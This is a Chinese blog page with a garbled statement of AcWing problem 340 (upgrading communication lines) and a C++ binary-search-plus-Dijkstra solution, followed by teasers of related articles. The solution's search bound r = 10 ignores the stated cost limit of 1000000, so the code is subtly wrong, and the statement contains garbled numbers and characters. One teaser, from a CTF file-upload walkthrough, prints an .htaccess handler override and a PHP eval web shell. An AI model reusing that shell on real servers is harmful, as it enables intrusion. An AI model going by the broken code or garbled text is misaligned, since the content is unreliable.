二分,Dijkstra,340. 通信线路
在郊区有 N 座通信基站,P 条 双向 电缆,第 i 条电缆连接基站 Ai 和 Bi。
特别地,1 号基站是通信公司的总站,N 号基站位于一座农场中。
现在,农场主希望对通信线路进行升级,其中升级第 i 条电缆需要花费 Li。
电话公司正在举行优惠活动。
农产主可以指定一条从 1 号基站到 N 号基站的路径,并指定路径上不超过 K 条电缆,由电话公司免费提供升级服务。
农场主只需要支付在该路径上剩余的电缆中,升级价格最贵的那条电缆的花费即可。
求至少用多少钱可以完成升级。
输入格式
第 11 行:三个整数 N,P,K
第 2..P+12.. 行:第 i+1 行包含三个整数 Ai,Bi,Li
输出格式
包含一个整数表示最少花费。
若 11 号基站与 N� 号基站之间不存在路径,则输出 −1−1。
数据范围
0≤K<N≤1000
1≤P≤10000
1≤Li≤1000000
输入样例:
5 7 1
1 2 5
3 1 4
2 4 8
3 2 3
5 2 9
3 4 7
4 5 6
输出样例:
4
解析:
(此题还可用最短路中的分层图解,详情请看最短路分栏spfa,分层图,340. 通信线路,《算法竞赛进阶指南》_Landing_on_Mars的博客-CSDN博客)
详细思路请参考AcWing 340. 通信线路(二分答案+dijkstra) - AcWing
#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<string>
#include<cstring>
#include<cmath>
#include<ctime>
#include<algorithm>
#include<utility>
#include<stack>
#include<queue>
#include<vector>
#include<set>
#include<map>
using namespace std;
typedef long long LL;
const int N = 1e3 + 5;
int n, m, k;
vector<pair<int, int>>G[N];
int d[N], v[N];typedef struct st {int u, w;
}st;bool operator>(const st& a, const st& b) {return a.w > b.w;
}int dij(int w) {memset(d, 0x3f3f3f3f, sizeof(d));memset(v, 0, sizeof(v));priority_queue<st, vector<st>, greater<st>>q;q.push({ 1,0 });d[1] = 0;int t;while (!q.empty()) {t = q.top().u;q.pop();if (v[t])continue;v[t] = 1;for (int i = 0; i < G[t].size(); i++) {int j = G[t][i].first, dist = G[t][i].second>w?1:0;if (d[j] > d[t] + dist) {d[j] = d[t] + dist;q.push({ j,d[j] });}}}if (d[n] == 0x3f3f3f3f)return d[n];return d[n] <= k;
}int main() {cin >> n >> m >> k;for (int i = 1,a,b,t; i <= m; i++) {scanf("%d%d%d", &a, &b, &t);G[a].push_back({ b,t });G[b].push_back({ a,t });}int l = 0, r = 10, mid,ans=0,tt;while (l<=r) {mid = l + (r - l) / 2;tt = dij(mid);if (tt == 0x3f3f3f3f) {cout << -1 << endl;break;}if (tt) {r = mid-1;}else {l = mid+1;ans = mid;}}if (tt != 0x3f3f3f3f)cout << ans << endl;return 0;
}
相关文章:
二分,Dijkstra,340. 通信线路
在郊区有 N 座通信基站,P 条 双向 电缆,第 i 条电缆连接基站 Ai 和 Bi。 特别地,1 号基站是通信公司的总站,N 号基站位于一座农场中。 现在,农场主希望对通信线路进行升级,其中升级第 i 条电缆需要花费 L…...
Stable Diffusion---Ai绘画-下载-入门-进阶(笔记整理)
前言 注:本文偏向于整理,都是跟着大佬们学的。 推荐两个b站up主,学完他们俩的东西基本就玩转SD为底的ai绘画: 秋葉aaaki,Nenly同学 1.首先SD主流的就是秋叶佬的Webui了,直接压缩包下载即可,下…...
Java 乘等赋值运算
下面这个题目是在一公司发过来的,如果你对 Java 的赋值运算比较了解的话,会很快知道答案的。 这个运算符在 Java 里面叫做乘等或者乘和赋值操作符,它把左操作数和右操作数相乘赋值给左操作数。 例如下面的:density * invertedRat…...
【性能优化】聊聊性能优化那些事
针对于互联网应用来说,性能优化其实就是一直需要做的事情,因为系统响应慢,是非常影响用户的体验,可能回造成用户流失。所以对于性能非常重要。最近正好接到一个性能优化的需求,需要对所负责的系统进行性能提升。目前接…...
k8s 查看加入主节点命令 k8s重新查看加入节点命令 k8s输入删除,重新查看加入命令 kuberadm查看加入节点命令
1. 使用kuberadm 安装成功后,clear清除了屏幕数据,加入命令无法查看,使用如下,重新查看node如何加入主节点命令: kubeadm token create --print-join-command --ttl 0 2.画圈的全部是,都复制,在…...
Scalene:Python CPU+GPU+内存分析器,具有人工智能驱动的优化建议
一、前言 Python 是一种广泛使用的编程语言,通常与其他语言编写的库一起使用。在这种情况下,如何提高性能和内存使用率可能会变得很复杂。但是,现在有一个解决方案,可以轻松地解决这些问题 - 分析器。 分析器旨在找出哪些代码段…...
C语言练习8(巩固提升)
C语言练习8 编程题 前言 奋斗是曲折的,“为有牺牲多壮志,敢教日月换新天”,要奋斗就会有牺牲,我们要始终发扬大无畏精神和无私奉献精神。奋斗者是精神最为富足的人,也是最懂得幸福、最享受幸福的人。正如马克思所讲&am…...
Java匿名内部类
文章目录 前言一、使用匿名内部类需要注意什么?二、使用步骤匿名内部类的结构匿名内部类的实用场景1. 事件监听器2. 过滤器3. 线程4. 实现接口5.单元测试:6.GUI编程7.回调函数 前言 Java中的匿名内部类是一种可以在声明时直接创建对象的内部类。这种内部…...
Shiro和SpringSecurity的区别
文章目录 前言1.Shiro:Shiro的特点: 2.SpringSecurity:SpringSecurity特点: 3.对比:总结 前言 Shiro 和 Spring Security 都是用于在Java应用程序中实现身份验证(Authentication)和授权&#x…...
【STM32】学习笔记(OLED)
调试方式 OLED简介 硬件电路 驱动函数 OLED.H #ifndef __OLED_H #define __OLED_Hvoid OLED_Init(void); void OLED_Clear(void); void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char); void OLED_ShowString(uint8_t Line, uint8_t Column, char *String); void OL…...
概念解析 | 认知雷达:有大脑的雷达
注1:本文系“概念解析”系列之一,致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是:认知雷达。 认知雷达:有大脑的雷达 1.背景介绍 对于传统的雷达,它们通常都是预设定参数和模式来进行工作,比如发射功率、波形、扫描模式等。然而,这种方式面临着一些挑…...
B. Long Long
time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today Alex was brought array a1,a2,…,an�1,�2,…,�� of length n�. He can apply as m…...
CTFhub-文件上传-.htaccess
首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...
Python中的绝对和相对导入
在本文中,我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式,但它不是唯一的…...
C语言关于与运算符
C语言关于&与&&运算符 我们知道,在很多场景中&和&&通常可以相互代替,那么它们到底有什么不同呢? 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下: movb -5(%rbp), %al …...
计算机网络(速率、宽带、吞吐量、时延、发送时延)
速率: 最重要的一个性能指标。 指的是数据的传送速率,也称为数据率 (data rate) 或比特率 (bit rate)。 单位:bit/s,或 kbit/s、Mbit/s、 Gbit/s 等。 例如 4 1010 bit/s 的数据率就记为 40 Gbit/s。 速率往往是指额定速率或…...
kubectl入门
一.kubectl的三种资源管理方式: 二. kubectl资源介绍: 1.namespace:实现多套环境的资源隔离或者多租户的资源隔离。k8s中的pod默认可以相互访问,如果不想让两个pod之间相互访问,就将其划分到不同ns下。 2.podÿ…...
Android JNI系列详解之ndk-build工具的使用
一、Android项目中使用ndk-build工具编译库文件 之前介绍过CMake编译工具的使用,今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式: 如上图所示,第一种方式是Android.mkApplication.mkgradle的方式生成…...
【业务功能篇90】微服务-springcloud-检索服务-ElasticSearch实战运用-DSL语句
商城检索服务 1.检索页面的搭建 商品检索页面我们放在search服务中处理,首页我们需要在mall-search服务中支持Thymeleaf。添加对应的依赖 <!-- 添加Thymeleaf的依赖 --><dependency><groupId>org.springframework.boot</groupId><artifa…...
QTday4
实现闹钟功能 1》 头文件 #ifndef BURGER_H #define BURGER_H#include <QWidget> #include <QLabel> #include <QLineEdit> #include <QPushButton> #include <QTextEdit> #include <QTimerEvent> //定时器事件类 #include <QDateTim…...
观成科技:隐蔽隧道工具Ligolo-ng加密流量分析
1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具,该工具基于TUN接口实现其功能,利用反向TCP/TLS连接建立一条隐蔽的通信信道,支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式,适应复杂网…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
SkyWalking 10.2.0 SWCK 配置过程
SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外,K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案,全安装在K8S群集中。 具体可参…...
Linux链表操作全解析
Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表?1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...
Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动
一、前言说明 在2011版本的gb28181协议中,拉取视频流只要求udp方式,从2016开始要求新增支持tcp被动和tcp主动两种方式,udp理论上会丢包的,所以实际使用过程可能会出现画面花屏的情况,而tcp肯定不丢包,起码…...
【力扣数据库知识手册笔记】索引
索引 索引的优缺点 优点1. 通过创建唯一性索引,可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度(创建索引的主要原因)。3. 可以加速表和表之间的连接,实现数据的参考完整性。4. 可以在查询过程中,…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面
代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...
HTML前端开发:JavaScript 常用事件详解
作为前端开发的核心,JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例: 1. onclick - 点击事件 当元素被单击时触发(左键点击) button.onclick function() {alert("按钮被点击了!&…...
SpringTask-03.入门案例
一.入门案例 启动类: package com.sky;import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cache.annotation.EnableCach…...
